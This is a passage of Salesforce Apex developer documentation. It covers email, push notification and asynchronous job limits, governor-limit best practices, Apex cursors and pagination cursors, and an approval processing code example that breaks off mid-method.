If you use the Data.com Clean product and its automated jobs, consider how you use Apex triggers. If you have Apex triggers on account, contact, or lead records that run SOQL queries, the SOQL queries can interfere with Clean jobs for those objects. Your Apex triggers (combined) must not exceed 200 SOQL queries per batch. If they do, your Clean job for that object fails. In addition, if your triggers call `future` methods, they're subject to a limit of 10 `future` calls per batch.

Event Reports

The maximum number of records that an event report returns for a user who isn't a system administrator is 20,000; for system administrators, 100,000.

MAX_DML_ROWS limit in Apex testing

The maximum number of rows that can be inserted, updated, or deleted, in a single, synchronous Apex test execution context, is limited to 450,000. For example, an Apex class can have 45 methods that insert 10,000 rows each. If the limit is reached, you see this error: `Your runAllTests is consuming too many DB resources.`

SOQL Query Performance

For best performance, use selective SOQL queries. This is especially important for queries inside triggers. See [More Efficient SOQL Queries](#).

Email Limits

Inbound Email Limits

Email Services: Maximum Number of Email Messages Processed (Includes limit for On-Demand Email-to-Case)	Number of user licenses multiplied by 1,000; maximum 1,000,000
Email Services: Maximum Size of Email Message (Body and Attachments)	25 MB ¹
On-Demand Email-to-Case: Maximum Email Attachment Size	25 MB
On-Demand Email-to-Case: Maximum Number of Email Messages Processed (Counts toward limit for Email Services)	Number of user licenses multiplied by 1,000; maximum 1,000,000

¹ The maximum size of email messages for Email Services varies depending on the character set and transfer encoding of the body parts. The size of an email message includes the email headers, body, attachments, and encoding. As a result, an email with a 35-MB attachment likely exceeds the 25-MB size limit for an email message after accounting for the headers, body, and encoding.

When defining email services, note the following:

- An email service only processes messages it receives at one of its addresses.
- Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your org can process up to 10,000 email messages a day.
- Email service addresses that you create in your sandbox can't be copied to your production org.

- For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email address.
- Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments) exceeds approximately 25 MB (varies depending on language and character set).

Outbound Email: Limits for Single and Mass Email Sent Using Apex

Each licensed org can send single emails to a maximum of 5,000 external email addresses per day based on Greenwich Mean Time (GMT). For orgs created before Spring '19, the daily limit is enforced only for emails sent via Apex and Salesforce APIs except for REST API. For orgs created in Spring '19 and later, the daily limit is also enforced for email alerts, simple email actions, Send Email actions in flows, and REST API. If one of the newly counted emails can't be sent because your org has reached the limit, we notify you by email and add an entry to the debug logs. Single emails sent using the email author or composer in Salesforce don't count toward this limit. There's no limit on sending single emails to contacts, leads, person accounts, and users in your org directly from account, contact, lead, opportunity, case, campaign, or custom object pages. In Developer Edition orgs and orgs evaluating Salesforce during a trial period, you can send to a maximum of 50 recipients per day, and each single email can have up to 15 recipients.

Keep these considerations in mind when sending emails:

- When sending single emails, you can specify up to 150 recipients across the `To`, `CC`, and `BCC` fields in each `SingleEmailMessage`. Each field is also limited to 4,000 bytes.
- If you use `SingleEmailMessage` to email your org's internal users, specifying the user's ID in `setTargetObjectId` means the email doesn't count toward the daily limit. However, specifying internal users' email addresses in `setToAddresses` means the email does count toward the limit.
- You can send mass email and list email to a maximum of 5,000 external email addresses per day per licensed Salesforce org. A day is calculated based on Greenwich Mean Time (GMT).
- The single email, mass email, and list email limits count duplicate email addresses. For example, if you have `johndoe@example.com` in your email 10 times that counts as 10 against the limit.
- API or Apex single emails can be sent to a maximum of 5,000 external email addresses per day.
- You can send an unlimited amount of email through the UI to your org's internal users, which include portal users.
- You can send mass emails and list emails only to contacts, person accounts, leads, and your org's internal users.
- In Developer Edition orgs and orgs evaluating Salesforce during a trial period, you can send to no more than 10 external email recipients per org per day using mass email and list email.
- You can't send mass email using a Visualforce email template.

Push Notification Limits

An org can send up to 20,000 iOS and 10,000 Android push notifications per hour (for example, 4:00 to 4:59 UTC).

Only *deliverable* notifications count toward this limit. For example, a notification is sent to 1,000 employees in your company, but 100 employees haven't installed the mobile app yet. Only the notifications sent to the 900 employees who have installed the mobile app count toward this limit.

Each test push notification that is generated through the Test Push Notification page is limited to a single recipient. Test push notifications count toward an org's hourly push notification limit.

When an org's hourly push notification limit is met, any additional notifications are still created for in-app display and retrieval via REST API.

SEE ALSO:

[Asynchronous Callout Limits](#)

[Platform Events Developer Guide](#)

Elastic Limits for Asynchronous Apex Jobs (Beta)

To help avoid disruptions to your workflow, enable elastic limits for asynchronous Apex jobs (beta). The setting supports throttled processing of asynchronous jobs above the standard daily limit, which prevents execution failures and limit exceptions if your org reaches or exceeds this limit.

 **Important:** Elastic Limits for Queueable Apex and Future Methods is a pilot or beta service that is subject to the Beta Services Terms at [Agreements - Salesforce.com](#) or a written Unified Pilot Agreement if executed by Customer, and applicable terms in the [Product Terms Directory](#). Use of this pilot or beta service is at the Customer's sole discretion.

Elastic Limits Overview

 **Important:** Elastic limits for asynchronous Apex jobs (beta) applies to only Queueable Apex and future methods in production and demo orgs. Batch Apex and scheduled jobs currently remain capped at the daily asynchronous job limit.

If you enable the “Use elastic limits for asynchronous Apex jobs (Beta)” setting, you can enqueue Queueable Apex and future method jobs up to an increased elastic asynchronous job limit. This elastic limit is the org’s daily asynchronous job limit plus either the org’s licensed daily asynchronous job limit (defined as 250,000 jobs or 200 times the number of applicable user licenses, whichever is greater) or 10 million jobs, whichever is less.

In other words, the `DailyAsyncApexElasticExecutions` limit is calculated according to this formula:

```
// DailyAsyncApexElasticExecutions limit calculation (pseudocode)
DailyAsyncApexElasticExecutions = DailyAsyncApexExecutions + min(licensed
DailyAsyncApexExecutions, 10000000)
```

For example, if an org’s daily asynchronous Apex job limit is 250,000 and the org’s licensed daily asynchronous job limit is 250,000, then the org’s elastic limit is 500,000 jobs (250,000 + 250,000). However, if an org’s daily asynchronous Apex job limit is 12 million and the org’s licensed daily asynchronous job limit is 12 million, then the org’s elastic limit is 22 million jobs (12 million + 10 million).

If an org reaches both the daily asynchronous Apex job limit and the elastic asynchronous job limit, exceptions are thrown for enqueued jobs that exceed the elastic limit.

If the number of asynchronous Apex jobs processed over a rolling 24-hour period exceeds the daily limit, Salesforce processes any additional enqueued asynchronous jobs at a throttled rate of one concurrent job per asynchronous Apex type. Processing resumes the regular, non-throttled concurrency rate only after the number of executed asynchronous jobs in the past 24 hours falls below the daily limit.

Enable Elastic Limits

To enable elastic limits for asynchronous Apex:

1. In Setup, in the Quick Find box, enter *Apex Settings*, and then select **Apex Settings**.
2. Select **Use elastic limits for asynchronous Apex jobs (Beta)**.
3. Save your changes.

Monitor Asynchronous Job Usage

To check your asynchronous job usage against the daily and elastic limits, see the Apex Jobs page in Setup. A banner shows the number of asynchronous jobs processed in the past 24 hours, along with the org’s daily and elastic limits. It also indicates whether asynchronous processing is currently being throttled.

Apex Jobs

[Help for this Page](#)

Monitor the status of all Apex jobs, and optionally, abort jobs that are in progress.


Percent of Asynchronous Apex Used: 120%
 You have currently used 300,000 asynchronous Apex operations out of an allowed 24-hour organization limit of 250,000. Asynchronous jobs are now processed at a throttled concurrency rate. You can enqueue asynchronous jobs up to the elastic limit of 500,000 operations (beta). To learn about how the daily and elastic limits are calculated, see the Salesforce [Platform Apex Limits](#) topic.

View: All [Create New View](#)

Submitted Date	Job Type	Status	Status Detail	Total Batches	Batches Processed	Failures	Submitted By	Completion Date	Apex Class	Apex Method	Apex Job ID

You can also use these methods on the [OrgLimits](#) class to check asynchronous job usage.

```
// Map of OrgLimit instances
Map<String,System.OrgLimit> limitsMap = OrgLimits.getMap();

// Daily Limit Methods
System.OrgLimit asyncApexDailyLimit = limitsMap.get('DailyAsyncApexExecutions');
System.debug('Limit Name: ' + asyncApexDailyLimit.getName());

// The total async jobs enqueued in the past 24 hours.
// Gives the same value as asyncApexElasticLimit.getValue()
System.debug('Usage Value: ' + asyncApexDailyLimit.getValue());

// The daily async job limit
System.debug('Maximum Limit: ' + asyncApexRequestsLimit.getLimit());

// -----

// Elastic Limit Methods
System.OrgLimit asyncApexElasticLimit = limitsMap.get('DailyAsyncApexElasticExecutions');
System.debug('Limit Name: ' + asyncApexElasticLimit.getName());

// The total async jobs enqueued in the past 24 hours.
// Gives the same value as the asyncApexDailyLimit.getValue()
System.debug('Usage Value: ' + asyncApexElasticLimit.getValue());

// The sum of the daily limit and the additional jobs allowed up to the elastic limit
System.debug('Maximum Limit: ' + asyncApexElasticLimit.getLimit());
```

For example, let's say an org's daily limit is 400,000 asynchronous jobs, and it enqueues 700,000 asynchronous jobs within a 24-hour period. Here's the org's `DailyAsyncApexExecutions` and `DailyAsyncApexElasticExecutions` `OrgLimits` instance values.

```
// Example Org Limits for Async Jobs

// Daily Limit Methods
Limit Name: DailyAsyncApexExecutions
Usage Value: 700000
Maximum Limit: 400000

// Elastic Limit Methods
Limit Name: DailyAsyncApexElasticExecutions
```

```
Usage Value: 700000
Maximum Limit: 800000
```

When you use the `OrgLimits` class, keep these considerations in mind.

- If the “Use elastic limits for asynchronous Apex jobs (Beta)” setting isn’t enabled, the `OrgLimits.getMap()` method doesn’t return a `DailyAsyncApexElasticExecutions` key-value pair.
- The `getValue()` method returns the total number of asynchronous jobs *enqueued* over the last 24 hours, not the number *executed*. Because asynchronous jobs are throttled only when actual executions exceed the daily limit, the enqueued jobs count may surpass the daily limit when asynchronous jobs are still being processed at the regular concurrency rate.

Set Up Governor Limit Email Warnings

You can specify users in your organization to receive an email notification when they invoke Apex code that surpasses 50% of allocated governor limits. Only per-request limits are checked for sending email warnings; per-org limits like concurrent long-running requests are not checked. These email notifications do not count against the daily single email limit.

 **Important:** System-generated emails from an unverified email-sending domain aren’t delivered, even if the From email address is verified. See [Requirements to Send Email from Salesforce](#).

1. Log in to Salesforce as an administrator user.
2. From Setup, enter *Users* in the *Quick Find* box, then select **Users**.
3. Click **Edit** next to the name of the user to receive the email notifications.

 **Note:** Only users with Author Apex permission can receive email notifications.

4. Select the *Send Apex Warning Emails* option.

 **Note:** Only users with Author Apex permission can view and update this option.

5. Click **Save**.

 **Note:** These limits are currently checked for sending email warnings.

Total number of SOQL queries issued

Total number of records retrieved by SOQL queries

Total number of SOSL queries issued

Total number of DML statements issued

Total number of records processed as a result of DML statements, `Approval.process`, or `database.emptyRecycleBin`

Total heap size

Total number of callouts (HTTP requests or Web services calls) in a transaction

Total number of `sendEmail` methods allowed

Maximum number of methods with the `future` annotation allowed per Apex invocation

Maximum number of Apex jobs added to the queue with `System.enqueueJob`

Total number of records retrieved by `Database.getQueryLocator`

Total number of mobile Apex push calls

Running Apex within Governor Execution Limits

When you develop software in a multitenant cloud environment such as the Lightning platform, you don't have to scale your code, because the Lightning platform does it for you. Because resources are shared in a multitenant platform, the Apex runtime engine enforces some limits to ensure that no one transaction monopolizes shared resources.

Your Apex code must execute within these predefined execution limits. If a governor limit is exceeded, a run-time exception that can't be handled is thrown. By following best practices in your code, you can avoid hitting these limits. Imagine you had to wash 100 T-shirts. Would you wash them one by one—one per load of laundry, or would you group them in batches for just a few loads? The benefit of coding in the cloud is that you learn how to write more efficient code and waste fewer resources.

The governor execution limits are per transaction. For example, one transaction can issue up to 100 SOQL queries and up to 150 DML statements. There are some other limits that aren't transaction bound, such as the number of batch jobs that can be queued or active at one time.

The following are some best practices for writing code that doesn't exceed certain governor limits.

Bulkifying DML Calls

Making DML calls on lists of sObjects instead of each individual sObject makes it less likely to reach the DML statements limit. The following is an example that doesn't bulkify DML operations, and the next example shows the recommended way of calling DML statements.

Example: DML calls on single sObjects

The for loop iterates over line items contained in the `liList` List variable. For each line item, it sets a new value for the `Description__c` field and then updates the line item. If the list contains more than 150 items, the 151st update call returns a run-time exception for exceeding the DML statement limit of 150. How do we fix this? Check the second example for a simple solution.

```
for(Line_Item__c li : liList) {
    if (li.Units_Sold__c > 10) {
        li.Description__c = 'New description';
    }
    // Not a good practice since governor limits might be hit.
    update li;
}
```

Recommended Alternative: DML calls on sObject lists

This enhanced version of the DML call performs the update on an entire list that contains the updated line items. It starts by creating a new list and then, inside the loop, adds every update line item to the new list. It then performs a bulk update on the new list.

```
List<Line_Item__c> updatedList = new List<Line_Item__c>();

for(Line_Item__c li : liList) {
    if (li.Units_Sold__c > 10) {
        li.Description__c = 'New description';
        updatedList.add(li);
    }
}

// Once DML call for the entire list of line items
update updatedList;
```

More Efficient SOQL Queries

Placing SOQL queries inside `for` loop blocks isn't a good practice because the SOQL query executes once for each iteration and may surpass the 100 SOQL queries limit per transaction. The following is an example that runs a SOQL query for every item in `Trigger.new`, which isn't efficient. An alternative example is given with a modified query that retrieves child items using only one SOQL query.

Example: Inefficient querying of child items

The `for` loop in this example iterates over all invoice statements that are in `Trigger.new`. The SOQL query performed inside the loop retrieves the child line items of each invoice statement. If more than 100 invoice statements were inserted or updated, and thus contained in `Trigger.new`, this results in a run-time exception because of reaching the SOQL limit. The second example solves this problem by creating another SOQL query that can be called only once.

```
trigger LimitExample on Invoice_Statement__c (before insert, before update) {
    for(Invoice_Statement__c inv : Trigger.new) {
        // This SOQL query executes once for each item in Trigger.new.
        // It gets the line items for each invoice statement.
        List<Line_Item__c> liList = [SELECT Id,Units_Sold__c,Merchandise__c
                                   FROM Line_Item__c
                                   WHERE Invoice_Statement__c = :inv.Id];

        for(Line_Item__c li : liList) {
            // Do something
        }
    }
}
```

Recommended Alternative: Querying of child items with one SOQL query

This example bypasses the problem of having the SOQL query called for each item. It has a modified SOQL query that retrieves all invoice statements that are part of `Trigger.new` and also gets their line items through the nested query. In this way, only one SOQL query is performed and we're still within our limits.

```
trigger EnhancedLimitExample on Invoice_Statement__c (before insert, before update) {
    // Perform SOQL query outside of the for loop.
    // This SOQL query runs once for all items in Trigger.new.
    List<Invoice_Statement__c> invoicesWithLineItems =
        [SELECT Id,Description__c,(SELECT Id,Units_Sold__c,Merchandise__c from Line_Items__r)

        FROM Invoice_Statement__c WHERE Id IN :Trigger.newMap.keySet()];

    for(Invoice_Statement__c inv : invoicesWithLineItems) {
        for(Line_Item__c li : inv.Line_Items__r) {
            // Do something
        }
    }
}
```

SOQL For Loops

Use SOQL for loops to operate on records in batches of 200. This helps avoid the heap size limit of 6 MB. Note that this limit is for code running synchronously and it is higher for asynchronous code execution.

Example: Query without a for loop

The following is an example of a SOQL query that retrieves all merchandise items and stores them in a List variable. If the returned merchandise items are large in size and a large number of them was returned, the heap size limit might be hit.

```
List<Merchandise__c> m1 = [SELECT Id,Name FROM Merchandise__c];
```

Recommended Alternative: Query within a for loop

To prevent this from happening, this second version uses a SOQL for loop, which iterates over the returned results in batches of 200 records. This reduces the size of the m1 list variable which now holds 200 items instead of all items in the query results, and gets recreated for every batch.

```
for (List<Merchandise__c> m1 : [SELECT Id,Name FROM Merchandise__c]) {  
    // Do something.  
}
```

Using Salesforce Features with Apex

Many features of the Salesforce user interface are exposed in Apex so that you can access them programmatically in the Lightning Platform. For example, you can write Apex code to post to a Chatter feed, or use the approval methods to submit and approve process requests.

[Actions](#)

Create quick actions, and add them to your Salesforce Classic home page, to the Chatter tab, to Chatter groups, and to record detail pages. Choose from standard quick actions, such as create and update actions, or create custom actions based on your company's needs.

[Apex Cursors](#)

Use Apex cursors to break up the processing of a SOQL query result into pieces that can be processed within the bounds of a single transaction. Cursors provide you with the ability to work with large query result sets, while not actually returning the entire result set. You can traverse a query result in parts, with the flexibility to navigate forward and back in the result set. Package developers and advanced developers can use cursors to work with high-volume and high-resource processing jobs. Cursors combined with chained queueable Apex jobs are a powerful alternative to batch Apex and address some of batch Apex's limitations.

[Approval Processing](#)

An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including from whom to request approval and what to do at each point of the process.

[Authentication](#)

Salesforce provides various ways to authenticate users. Build a combination of authentication methods to fit the needs of your org and your users' use patterns.

[Chatter Answers and Ideas](#)

In Chatter Answers and Ideas, use zones to organize ideas and answers into groups. Each zone can have its own focus, with unique ideas and answers topics to match that focus.

[Use Cases for the CommercePayments Namespace](#)

Review walkthroughs, use cases, and reference material for the `CommercePayments` platform.

[Connect in Apex](#)

Use Connect in Apex to develop custom experiences in Salesforce. Connect in Apex provides programmatic access to B2B Commerce, CMS managed content, Experience Cloud sites, topics, and more. Create Apex pages that display Chatter feeds, post feed items with mentions and topics, and update user and group photos. Create triggers that update Chatter feeds.

Moderate Chatter Private Messages with Triggers

Write a trigger for `ChatterMessage` to automate the moderation of private messages in an org or Experience Cloud site. Use triggers to ensure that messages conform to your company's messaging policies and don't contain blocklisted words.

Data Cloud In Apex

You can use Apex with Data Cloud objects, with constraints and considerations that are detailed in this topic. Further, you can mock SOQL query responses for Data Cloud data model objects (DMOs) in Apex testing by using SOQL stub methods and a test class.

DataWeave in Apex

DataWeave in Apex uses the Mulesoft DataWeave library to read and parse data from one format, transform it, and export it in a different format. You can create DataWeave scripts as metadata and invoke them directly from Apex. Like Apex, DataWeave scripts are run within Salesforce application servers, enforcing the same heap and CPU limits on the executing code.

Moderate Feed Items with Triggers

Write a trigger for `FeedItem` to automate the moderation of posts in an org or Experience Cloud site. Use triggers to ensure that posts conform to your company's communication policies and don't contain unwanted words or phrases.

Experience Cloud Sites

Experience Cloud sites are branded spaces for your employees, customers, and partners to connect. You can customize and create sites to meet your business needs, then transition seamlessly between them.

Email

You can use Apex to work with inbound and outbound email.

External Services

External Services connect your Salesforce org to a service outside of Salesforce, such as an employee banking service. After you register the external service, you can call it natively in your Apex code. Objects and operations defined in the external service's registered API specification become Apex classes and methods in the `ExternalService` namespace. The registered service's schema types map to Apex types, and are strongly typed, making the Apex compiler do the heavy lifting for you. For example, you can make a type safe callout to an external service from Apex without needing to use the `Http` class or perform transforms on JSON strings.

Flows

Flow Builder lets admins build applications, known as *flows*, that automate a business process. Flows collect data and perform actions in your Salesforce org or an external system.

Formula Evaluation in Apex

Formula evaluation in Apex helps avoid unnecessary DML statements to recalculate formula field values and evaluate dynamic formula expressions. Dynamic formulas in Apex support SOObjects and Apex objects as context objects. The context type that corresponds to the Apex class used in the `FormulaBuilder.withType()` method must be a global, user-defined Apex class. Any fields, properties, or methods that the formula references must also be global.

Metadata

Salesforce uses metadata types and components to represent org configuration and customization. Metadata is used for org settings that admins control, or configuration information applied by installed apps and packages.

Permission Set Groups

To provide Apex test coverage for permission set groups, write tests using the `calculatePermissionSetGroup()` method in the `System.Test` class.

Platform Cache

The Lightning Platform Cache layer provides faster performance and better reliability when caching Salesforce session and org data. Specify what to cache and for how long without using custom objects and settings or overloading a Visualforce view state. Platform Cache improves performance by distributing cache space so that some applications or operations don't steal capacity from others.

[Salesforce Knowledge](#)

Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly find and view the articles they need.

[Salesforce Files](#)

Use Apex to customize the behavior of Salesforce Files.

[Salesforce Connect](#)

Apex code can access external object data via any Salesforce Connect adapter. Use the Apex Connector Framework to develop a custom adapter for Salesforce Connect. The custom adapter can retrieve data from external systems and synthesize data locally. Salesforce Connect represents that data in Salesforce external objects, enabling users and the Lightning Platform to seamlessly interact with data that's stored outside the Salesforce org.

[Salesforce Reports and Dashboards API via Apex](#)

The Salesforce Reports and Dashboards API via Apex gives you programmatic access to your report data as defined in the report builder.

[Salesforce Sites](#)

Salesforce Sites lets you build custom pages and Web applications by inheriting Lightning Platform capabilities including analytics, workflow and approvals, and programmable logic.

[Support Classes](#)

Support classes allow you to interact with records commonly used by support centers, such as business hours and cases.

[Territory Management 2.0](#)

With trigger support for the Territory2 and UserTerritory2Association standard objects, you can automate actions and processes related to changes in these territory management records.

Actions

Create quick actions, and add them to your Salesforce Classic home page, to the Chatter tab, to Chatter groups, and to record detail pages. Choose from standard quick actions, such as create and update actions, or create custom actions based on your company's needs.

- *Create actions* let users create records—like New Contact, New Opportunity, and New Lead.
- *Custom actions* invoke Lightning components, flows, Visualforce pages, or canvas apps with functionality that you define. Use a Visualforce page, Lightning component, or a canvas app to create global custom actions for tasks that don't require users to use records that have a relationship to a specific object. Object-specific custom actions invoke Lightning components, flows, Visualforce pages, or canvas apps that let users interact with or create records that have a relationship to an object record.

For create, Log a Call, and custom actions, you can create either object-specific actions or global actions. Update actions must be object-specific.

For more information on actions, see the online help.

SEE ALSO:

[Apex Reference Guide: QuickAction Class](#)

[Apex Reference Guide: QuickActionRequest Class](#)

[Apex Reference Guide: QuickActionResult Class](#)

[Apex Reference Guide: DescribeQuickActionResult Class](#)

[Apex Reference Guide: DescribeQuickActionDefaultValue Class](#)

[Apex Reference Guide: DescribeLayoutSection Class](#)

[Apex Reference Guide: DescribeLayoutRow Class](#)

[Apex Reference Guide: DescribeLayoutItem Class](#)

[Apex Reference Guide: DescribeLayoutComponent Class](#)

[Apex Reference Guide: DescribeAvailableQuickActionResult Class](#)

Apex Cursors

Use Apex cursors to break up the processing of a SOQL query result into pieces that can be processed within the bounds of a single transaction. Cursors provide you with the ability to work with large query result sets, while not actually returning the entire result set. You can traverse a query result in parts, with the flexibility to navigate forward and back in the result set. Package developers and advanced developers can use cursors to work with high-volume and high-resource processing jobs. Cursors combined with chained queueable Apex jobs are a powerful alternative to batch Apex and address some of batch Apex's limitations.

Apex cursors are stateless and generate results from the offset position that is specified in the `Cursor.fetch(integer position, integer count)` method. You must track the offsets or positions of the results within your particular processing scenario.

A cursor is created when a SOQL query is executed on a `Database.getCursor()` or `Database.getCursorWithBinds()` call. When a `Cursor.fetch(integer position, integer count)` method is invoked with an offset position and the count of records to fetch, the corresponding rows are returned from the cursor. The maximum number of rows per cursor is 50 million, regardless of whether the operation is synchronous or asynchronous. To get the number of cursor rows returned from the SOQL query, use `Cursor.getNumRecords()`.

Calling the `Cursor.fetch()` method counts against the SOQL query limit, and the rows fetched count against the SOQL query row limit. You can make a maximum of 100 `Cursor.fetch()` calls per transaction.

Apex cursors throw these new System exceptions: `System.FatalCursorException` and `System.TransientCursorException`. Transactions that fail with `System.TransientCursorException` can be retried.

Apex Cursor Example

```
public with sharing class QueryChunkingQueueable implements Queueable {
    private Database.Cursor locator;
    private Integer position;

    public QueryChunkingQueueable() {
        locator = Database.getCursor(
            'SELECT Id FROM Contact WHERE LastActivityDate = LAST_N_DAYS:400',
            AccessLevel.USER_MODE);
    }
}
```

```

        position = 0;
    }

    public void execute(QueueableContext ctx) {
        Integer remainingRows = locator.getNumRecords() - position;
        if (remainingRows == 0) {
            return; // Nothing to do
        }

        // Take the minimum of batch size and remaining rows to avoid over-fetching
        Integer fetchSize = Math.min(200, remainingRows);

        List<Contact> scope = locator.fetch(position, 200);
        position += scope.size();
        // do something, like archive or delete the scope list records
        if (position < locator.getNumRecords()) {
            // process the next chunk
            System.enqueueJob(this);
        }
    }
}

```

Pagination Cursors

Like a standard Apex cursor, an Apex pagination cursor provides a pointer to a large SOQL query result set. However, an Apex pagination cursor is designed for UI-based pagination, such as multipage record lists.

To create a pagination cursor, call `Database.getPaginationCursor()` or `Database.getPaginationCursorWithBinds()` with a SOQL query as an argument. A single `Database.PaginationCursor` instance can have a maximum of 100,000 rows, regardless of whether the operation is synchronous or asynchronous. This size limit is lower than that of a regular Apex cursor, as pagination cursors are designed for human-readable data.

However, pagination cursors have a higher instance daily limit than that of regular Apex cursors. Whereas standard cursors are limited to 10,000 instances per org per 24-hour period, pagination cursors are limited to 200,000 instances per org per 24-hour period. This higher instance limit supports many users accessing records lists that rely on smaller pagination cursors.

To retrieve a page of rows from a pagination cursor, call `PaginationCursor.fetchPage(integer start, integer pageSize)`. The `start` parameter is the zero-based index from which to begin fetching rows, and the `pageSize` is the maximum number of rows to retrieve for this page. The maximum `pageSize` value is 2000 rows.

Unlike a standard Apex cursor, a pagination cursor retrieves a complete page of records, where record rows deleted after the creation of the cursor are skipped over by default. This way, the number of rows displayed per page is consistent.

For example, let's say that you create a standard cursor and a pagination cursor on the same SOQL query, where the result set is 100 rows. After the cursors are created, you delete the first five rows in the set, indexed 0-4. If you then call `Cursor.fetch(0, 20)`, only 15 rows are retrieved—rows indexed 5-19. However, if you call `PaginationCursor.fetchPage(0, 20)`, 20 rows are retrieved—rows indexed 5-24. The `fetchPage()` method automatically skips over the five deleted records so that a complete page is retrieved.

To manage this handling of deleted records, the `fetchPage()` method returns a `Database.CursorFetchResult` object instead of only the list of results. The `Database.CursorFetchResult` object encapsulates the rows retrieved and information for the next pagination call.

- To retrieve the rows as a list of sObjects, call `CursorFetchResult.getRecords()`.

- To retrieve the number of deleted rows that the cursor skipped in the `fetchPage()` operation, call `CursorFetchResult.getDeletedRows()`.
- To retrieve the next page of results, first call `CursorFetchResult.getNextIndex()`, and then use the return value as the `start` parameter in the next `fetchPage()` call.
- To determine whether to make subsequent calls to `fetchPage()`, use the `CursorFetchResult.isDone()` method. The method returns `true` if the specified `pageSize` is reached, which indicates that a full page of results is retrieved. It also returns `true` if the pagination cursor reaches the end of a result set before the specified `pageSize` is reached, which indicates that a partial, final page of results is retrieved.

Calling the `PaginationCursor.fetchPage()` and `PaginationCursor.fetchDeleted()` methods count against the SOQL query limit, and the rows fetched count against the SOQL query row limit.

Apex pagination cursors throw these System exceptions: `System.FatalCursorException` and `System.TransientCursorException`. Transactions that fail with `System.TransientCursorException` can be retried.

Cursors and Pagination Cursor Limits

To get limits on Apex cursors and Apex pagination cursors, use these methods in the `Limits` class.

- `Limits.getApexCursorRows()` and its upper bound `Limits.getLimitApexCursorRows()` method
- `Limits.getFetchCallsOnApexCursor()` and its upper bound `Limits.getLimitFetchCallsOnApexCursor()` method
- `Limits.getApexCursors()` and its upper bound `Limits.getLimitApexCursors()` method
- `Limits.getApexPaginationCursors()` and its upper bound `Limits.getLimitApexPaginationCursors()` method
- `Limits.getApexPaginationCursorRows()` and its upper bound `Limits.getLimitApexPaginationCursorRows()` method

To view transaction and daily limits for Apex cursors and Apex pagination cursors, see [Execution Governors and Limits](#).

Apex cursors and pagination cursors have the same expiration limits as API Query cursors. See [API Query Cursor Limits](#).

Apex Cursor and Pagination Cursor Limits Example

```
// Create a standard cursor
Database.Cursor cursor = Database.getCursor('SELECT Id, Name FROM Account LIMIT 20');
System.debug('Standard Cursors: ' + Limits.getApexCursors() + '/' +
Limits.getLimitApexCursors());
System.debug('Standard Cursor Rows: ' + Limits.getApexCursorRows() + '/' +
Limits.getLimitApexCursorRows());

// Fetch records
List<Account> batch1 = cursor.fetch(0, 10);
List<Account> batch2 = cursor.fetch(10, 10);

// Create a pagination cursor
Database.PaginationCursor pagCursor = Database.getPaginationCursor('SELECT Id, Name FROM
Account LIMIT 15');
System.debug('Pagination Cursors: ' + Limits.getApexPaginationCursors() + '/' +
Limits.getLimitApexPaginationCursors());
System.debug('Pagination Cursor Rows: ' + Limits.getApexPaginationCursorRows() + '/' +
```

```

Limits.getLimitApexPaginationCursorRows());

// Fetch a page
Database.CursorFetchResult page = pagCursor.fetchPage(0, 5);

// Check shared fetch call limit
System.debug('Fetch Calls: ' + Limits.getFetchCallsOnApexCursor() + '/' +
Limits.getLimitFetchCallsOnApexCursor());

// Get daily limits map
Map<String, System.OrgLimit> limitMap = OrgLimits.getMap();

// Standard cursor daily limit
System.OrgLimit dailyCursorLimit = limitMap.get('DailyApexCursorLimit');
System.debug('Daily Cursors: ' + dailyCursorLimit.getValue() + '/' +
dailyCursorLimit.getLimit());

// Pagination cursor daily limit
System.OrgLimit dailyPCursorLimit = limitMap.get('DailyApexPCursorLimit');
System.debug('Daily Pagination Cursors: ' + dailyPCursorLimit.getValue() + '/' +
dailyPCursorLimit.getLimit());

// Shared daily rows limit
System.OrgLimit dailyRowsLimit = limitMap.get('DailyApexCursorRowsLimit');
System.debug('Daily Cursor Rows: ' + dailyRowsLimit.getValue() + '/' +
dailyRowsLimit.getLimit());

```

SEE ALSO:

[Apex Reference Guide: Cursor Class](#)[Apex Reference Guide: PaginationCursor Class](#)

Approval Processing

An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including from whom to request approval and what to do at each point of the process.

- Use the Apex process classes to create approval requests and process the results of those requests:
 - [ProcessRequest Class](#)
 - [ProcessResult Class](#)
 - [ProcessSubmitRequest Class](#)
 - [ProcessWorkItemRequest Class](#)
- Use the `Approval.process` method to submit an approval request and approve or reject existing approval requests. For more information, see [Approval Class](#).



Note: The `process` method counts against the DML limits for your organization. See [Execution Governors and Limits](#).

For more information about approval processes, see “Set Up an Approval Process” in the Salesforce online help.

[Apex Approval Processing Example](#)

Apex Approval Processing Example

The following sample code initially submits a record for approval, then approves the request. This example assumes that a pre-existing approval process on Account exists and is valid for the Account record created.

```
public class TestApproval {
    void submitAndProcessApprovalRequest() {
        // Insert an account
        Account a = new Account(Name='Test',annualRevenue=100.0);
        insert a;

        User user1 = [SELECT Id FROM User WHERE Alias='SomeStandardUser'];

        // Create an approval request for the account
        Approval.ProcessSubmitRequest req1 =
            new Approval.ProcessSubmitRequest();
        req1.setComments('Submitting request for approval. ');
        req1.setObjectId(a.id);

        // Submit on behalf of a specific submitter
        req1.setSubmitterId(user1.Id);

        // Submit the record to the existing process named PTO_Request_Process
        req1.setProcessDefinitionNameOrId('PTO_Request_Process');

        // Skip the criteria evaluation for the specified process
        req1.setSkipEntryCriteria(true);

        // Submit the approval request for the account
        Approval.ProcessResult result = Approval.process(req1);

        // Verify the result
        System.assert(result.isSuccess());

        System.assertEquals(
            'Pending', result.getInstanceStatus(),
            'Instance Status'+result.getInstanceStatus());

        // Approve the submitted request
        // First, get the ID of the newly created item
        List<Id> newWorkItemIds = result.getNewWorkitemIds();

        // Instantiate the new ProcessWorkitemRequest object and populate it
        Approval.ProcessWorkitemRequest req2 =
            new Approval.ProcessWorkitemRequest();
        req2.setComments('Approving request. ');
        req2.setAction('Approve');
        req2.setNextApproverIds(new Id[] {UserInfo.getUserId()});

        // Use the ID from the newly created item to specify the item to be worked
        req2.setWorkitemId(newWorkItemIds.get(0));

        // Submit the request for approval
